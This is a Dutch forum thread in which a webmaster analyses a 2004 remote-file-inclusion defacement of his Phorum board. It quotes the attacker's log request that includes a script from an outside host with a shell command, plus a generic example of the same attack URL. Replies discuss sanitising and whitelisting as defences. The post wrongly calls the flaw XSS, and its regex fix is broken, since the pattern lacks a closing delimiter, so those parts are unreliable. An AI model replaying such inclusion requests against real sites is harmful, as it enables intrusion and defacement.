Veiligheidsbreuk, gehacked, XSS
Ik roep al een redelijke tijd dingen over veiligheid, en nu ik even niet kan slapen ga ik deze kennis ook maar met jullie delen. Gisteren rond een uur of negen werd op vorago.nl een stukje php code: phorum gedefaced door een rus. Een kleine vier uur later heb ik dit forum offline gehaald en ben eens gaan kijken wat er eigenlijk aan de hand was.
De rus in kwestie gaat alsvolgd aan het werk, de eerste http request is:
vorago@vh1:~$ cat onderzoek|head
[09/Jul/2004:20:19:21 +0200] "GET /phorum/admin/ HTTP/1.1" 200 5042 "http://www.google.com/search?hl=en&lr=&ie=UTF-8&q=inurl%3Aphorum%2Fadmin+%223.3.2a%22&btnG=Search" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.51 [ru]"
en vervolgens de exploit:
[09/Jul/2004:20:22:34 +0200] "GET /phorum/admin/actions/del.php?include_path=http://deface2.narod.ru/shep.php&cmd=ls HTTP/1.1" 403 7591 "-" "Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.51 [ru]"
de shep.php is een file met:
Dit werkt alsvolgd: het forum include eerst de text-only shep.php, gaat deze lokaal uitvoeren en voert dit uit. Dit is het welbekende XSS symtroom: cross site scripting. Hierbij is dus een shell vergeven aan de scriptkiddo. Daar sta ik even van te kijken. Achteraf ben ik blij dat er niet zo gek veel kwaad is geschied. Toch had hij met even doorpielen een mysql wachtwoord kunnen ontfutselen, en door zich niet zo enorm groot en wijd een forum te defacen (wat ik persoonlijk buitengewoon zielig vind) had ik er zelfs niet eens achter gekomen.
Dit is een resultaat van een 3rd party script wat ik niet goed beheerd heb, dit is erg slecht. Doch, ik ben weer wakker geschud. Verder heeft de scriptkiddie in kwestie nog wat rond zitten neuzen bij andere scripts, zonder resultaat.
In het kort komt het hier op neer:
een phpfile fout.php met:
wordt aangeroepen met:
http://www.jouwsite.nl/fout.php?naam=http://www.mijnsite.com/exploit.php?commando=ls
waarin exploit.php
!OF WAT VOOR PHP CODE DAN OOK! bevat.
Wat de oplossing hiervoor is?
persoonlijk gebruik ik preg_replace om mijn invoer te sanatizen.
Code (php)
1
2
3
4
5
6
7
8
9
2
3
4
5
6
7
8
9
<?
$pad = "/home/pad/naar/file";
$variabele = $_POST["naam"];
$variabele = preg_replace('/\W','', $variabele);
# zorg dat er alleen letters mogen voorkomen in de variabele.
if (file_exists("${pad}/${variabele}.ext")) {
include("${pad}/${variabele}.ext");
}
?>
$pad = "/home/pad/naar/file";
$variabele = $_POST["naam"];
$variabele = preg_replace('/\W','', $variabele);
# zorg dat er alleen letters mogen voorkomen in de variabele.
if (file_exists("${pad}/${variabele}.ext")) {
include("${pad}/${variabele}.ext");
}
?>
Conclusie: wees alert, niet overmoedig en blijft sanatizen.
Tot mijn schaamte kwam ik een bovenaande compleet foute constructie tegen in een scriptje dat ik 'even' geschreven heb voor het includen in mijn layout. Het 'even' iets doen en niet nauwkeurig zijn kan fataal zijn voor je site. Gelukkig heb ik reguliere backups, ook van mysql en zit ik hier redelijk safe. Maar het is gewoon doodzonde om veel werk door een paar eikels teloor zien gaan.
omg :) maar goed dat je er achter bent gekomen.. maar was 'system()' dan functioneel op je server??
en nog iets arend:
wordt aangeroepen met:
http://www.jouwsite.nl/fout.php?naam=http://www.mijnsite.com/exploit.php?commando=ls
bedoel je hiet niet
of pakt ie die meegestuurde variabele in de url ook als $_POST["naam"] :O
Maar het system commando uitschaken kan wel, maar dan zjin er nog wel 4 andere manieren om er omheen te kunnen. Je moet gewoon zorgen dat er geen malafide include() verwijzingen zijn.
Grtz,
Arend
Gewijzigd op 12/07/2004 11:59:00 door Arend a
Ik deed dat altijd met een switch() die kon dus nooit iets anders dan de door mij ingegeven files.
Nu werk ik niet meer met includes maar das een ander verhaal :)
Verder was de eerste hack een 3rd party script: phorum dat hij dmv googlen ging opzoeken en exploiten.
Gewijzigd op 12/07/2004 12:08:00 door Arend a
Die rus ziet er een profesional uit die moet mijn site niet weten :D
Sorry, geen enkel respect at all.
Quote:
Een veiligheidbreuk, een goede daad uit het echte leven.
Ik roep al een redelijke tijd dingen over veiligheid, en nu ik even niet kan slapen ga ik deze kennis ook maar met jullie delen. Gisteren rond een uur of negen werd op vorago.nl een stukje php code: phorum gedefaced door een rus. Een kleine vier uur later heb ik dit forum offline gehaald en ben eens gaan kijken wat er eigenlijk aan de hand was.
De rus in kwestie gaat alsvolgd aan het werk, de eerste http request is:
vorago@vh1:~$ cat onderzoek|head
[09/Jul/2004:20:19:21 +0200] \"GET /phorum/admin/ HTTP/1.1\" 200 5042 \"http://www.google.com/search?hl=en&lr=&ie=UTF-8&q=inurl%3Aphorum%2Fadmin+%223.3.2a%22&btnG=Search\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.51 [ru]\"
en vervolgens de exploit:
[09/Jul/2004:20:22:34 +0200] \"GET /phorum/admin/actions/del.php?include_path=http://deface2.narod.ru/shep.php&cmd=ls HTTP/1.1\" 403 7591 \"-\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.51 [ru]\"
de shep.php is een file met:
Dit werkt alsvolgd: het forum include eerst de text-only shep.php, gaat deze lokaal uitvoeren en voert dit uit. Dit is het welbekende XSS symtroom: cross site scripting. Hierbij is dus een shell vergeven aan de scriptkiddo. Daar sta ik even van te kijken. Achteraf ben ik blij dat er niet zo gek veel kwaad is geschied. Toch had hij met even doorpielen een mysql wachtwoord kunnen ontfutselen, en door zich niet zo enorm groot en wijd een forum te defacen (wat ik persoonlijk buitengewoon zielig vind) had ik er zelfs niet eens achter gekomen.
Dit is een resultaat van een 3rd party script wat ik niet goed beheerd heb, dit is erg slecht. Doch, ik ben weer wakker geschud. Verder heeft de scriptkiddie in kwestie nog wat rond zitten neuzen bij andere scripts, zonder resultaat.
In het kort komt het hier op neer:
een phpfile fout.php met:
wordt aangeroepen met:
http://www.jouwsite.nl/fout.php?naam=http://www.mijnsite.com/exploit.php?commando=ls
waarin exploit.php
!OF WAT VOOR PHP CODE DAN OOK! bevat.
Wat de oplossing hiervoor is?
persoonlijk gebruik ik preg_replace om mijn invoer te sanatizen.
Conclusie: wees alert, niet overmoedig en blijft sanatizen.
Tot mijn schaamte kwam ik een bovenaande compleet foute constructie tegen in een scriptje dat ik \'even\' geschreven heb voor het includen in mijn layout. Het \'even\' iets doen en niet nauwkeurig zijn kan fataal zijn voor je site. Gelukkig heb ik reguliere backups, ook van mysql en zit ik hier redelijk safe. Maar het is gewoon doodzonde om veel werk door een paar eikels teloor zien gaan.
Ik roep al een redelijke tijd dingen over veiligheid, en nu ik even niet kan slapen ga ik deze kennis ook maar met jullie delen. Gisteren rond een uur of negen werd op vorago.nl een stukje php code: phorum gedefaced door een rus. Een kleine vier uur later heb ik dit forum offline gehaald en ben eens gaan kijken wat er eigenlijk aan de hand was.
De rus in kwestie gaat alsvolgd aan het werk, de eerste http request is:
vorago@vh1:~$ cat onderzoek|head
[09/Jul/2004:20:19:21 +0200] \"GET /phorum/admin/ HTTP/1.1\" 200 5042 \"http://www.google.com/search?hl=en&lr=&ie=UTF-8&q=inurl%3Aphorum%2Fadmin+%223.3.2a%22&btnG=Search\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.51 [ru]\"
en vervolgens de exploit:
[09/Jul/2004:20:22:34 +0200] \"GET /phorum/admin/actions/del.php?include_path=http://deface2.narod.ru/shep.php&cmd=ls HTTP/1.1\" 403 7591 \"-\" \"Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1) Opera 7.51 [ru]\"
de shep.php is een file met:
Dit werkt alsvolgd: het forum include eerst de text-only shep.php, gaat deze lokaal uitvoeren en voert dit uit. Dit is het welbekende XSS symtroom: cross site scripting. Hierbij is dus een shell vergeven aan de scriptkiddo. Daar sta ik even van te kijken. Achteraf ben ik blij dat er niet zo gek veel kwaad is geschied. Toch had hij met even doorpielen een mysql wachtwoord kunnen ontfutselen, en door zich niet zo enorm groot en wijd een forum te defacen (wat ik persoonlijk buitengewoon zielig vind) had ik er zelfs niet eens achter gekomen.
Dit is een resultaat van een 3rd party script wat ik niet goed beheerd heb, dit is erg slecht. Doch, ik ben weer wakker geschud. Verder heeft de scriptkiddie in kwestie nog wat rond zitten neuzen bij andere scripts, zonder resultaat.
In het kort komt het hier op neer:
een phpfile fout.php met:
wordt aangeroepen met:
http://www.jouwsite.nl/fout.php?naam=http://www.mijnsite.com/exploit.php?commando=ls
waarin exploit.php
!OF WAT VOOR PHP CODE DAN OOK! bevat.
Wat de oplossing hiervoor is?
persoonlijk gebruik ik preg_replace om mijn invoer te sanatizen.
Code (php)
1
2
3
4
5
6
7
8
9
2
3
4
5
6
7
8
9
<?
$pad = \"/home/pad/naar/file\";
$variabele = $_POST[\"naam\"];
$variabele = preg_replace(\'/\\W\',\'\', $variabele);
# zorg dat er alleen letters mogen voorkomen in de variabele.
if (file_exists(\"${pad}/${variabele}.ext\")) {
include(\"${pad}/${variabele}.ext\");
}
?>
$pad = \"/home/pad/naar/file\";
$variabele = $_POST[\"naam\"];
$variabele = preg_replace(\'/\\W\',\'\', $variabele);
# zorg dat er alleen letters mogen voorkomen in de variabele.
if (file_exists(\"${pad}/${variabele}.ext\")) {
include(\"${pad}/${variabele}.ext\");
}
?>
Conclusie: wees alert, niet overmoedig en blijft sanatizen.
Tot mijn schaamte kwam ik een bovenaande compleet foute constructie tegen in een scriptje dat ik \'even\' geschreven heb voor het includen in mijn layout. Het \'even\' iets doen en niet nauwkeurig zijn kan fataal zijn voor je site. Gelukkig heb ik reguliere backups, ook van mysql en zit ik hier redelijk safe. Maar het is gewoon doodzonde om veel werk door een paar eikels teloor zien gaan.
Waarom doen ze dit?? wat hebben ze eraan?
Waarom worden er virussen gemaakt? Wat heb je er aan als je aan ander zn pc naar de kloten helpt? Juist ja, nog onnuttige vragen Han?
Hoe simpel het ook is eigenlijk.
Ik moet toegeven dat ik ook een paar keer een site ben tegengekomen, waarvan ik dacht 'deze is makkelijk te bewerken'. Dus ben toen even gaan knutselen, en inderdaad, ook zo'n include (andere was trouwens een .inc bestand met wachtwoorden :*) ). Enige verschil is dat ik alleen heb gekeken, en daarna een mailtje heb gestuurd naar de desbetreffende webmaster.
Sterker nog, ik heb een keer (per ongeluk, was niet mijn bedoeling) toegang verkregen tot alle websites die op mijn webhosting werden gehost. Echt asociaal groot lek. Heb het gemeld (even paar screenies voor bewijs, wachtwoorden weggehaald) en blij dat ze waren! Krijg nog een cadeautje ervoor ook :P
Ik had natuurlijk ook al die wachtwoorden op internet kunnen zetten, maar dat wat ik nu heb gedaan voelt toch beter. Lees je dat rus?
Code (php)
Gewijzigd op 19/09/2005 21:16:00 door Pieter van Linschoten
Maar system is volgens mij overal geblokt ?. OW ennem wat ik me nou afvraag: hoe kan het in cluden van zo'n bestand nou werken? Ik bedoel de server waar het van komt parsed het ook... Of gaat dat via zielige geocities servers die geen php hebben =P.
Overigens is dit misbruik maken van de hosting, een beetje host wil dan nog wel eens een contract ontbinden =P. http://www.nic.ru/whois/?domain=narod.ru =P.
MJa, ik filter die gets altijd op slashes enzo, dan kunnen urls ook nie =). Net zoals ik tegen sql injection alle tekens van html-entities voorzien (inc. enkele quotes ej: htmlentities($_GET["var"], ENT_QUOTES);)
Mja, er is altijd wel iets =(
Gana we even oude koeien uit de sloot halen (Topic is een jaar oud)
Dat van Lapidi lijkt mij ook niet echt veilig. Daarmee kan ik nog steeds cross-site scripten en ieder willekeurig bestand includen. Gewoon .php weglaten.
Dat is toch redelijk veilig, of zie ik iets over het hoofd?
(ook al is het een oud topic ^^)
ik doe wel altijd uizonderingen maken voor bestanden op mijn server, zoals de config enzo... Zodat die niet opgehaald kunnen worden...
Maar dat is dus niet echt veilig blijkbaar...
Ga ik maar eens beetje aan werken...
gewoon punten en slashes eruit halen dan kan er geen url komen en blijft het in dezelfde map, kan je dus niet ../config.php doen =).
inderdaad. Of hem door een switch() / array van bestaande pagina's heen halen.
dan het beste een in_array, een switch is een beetje te veel werk :P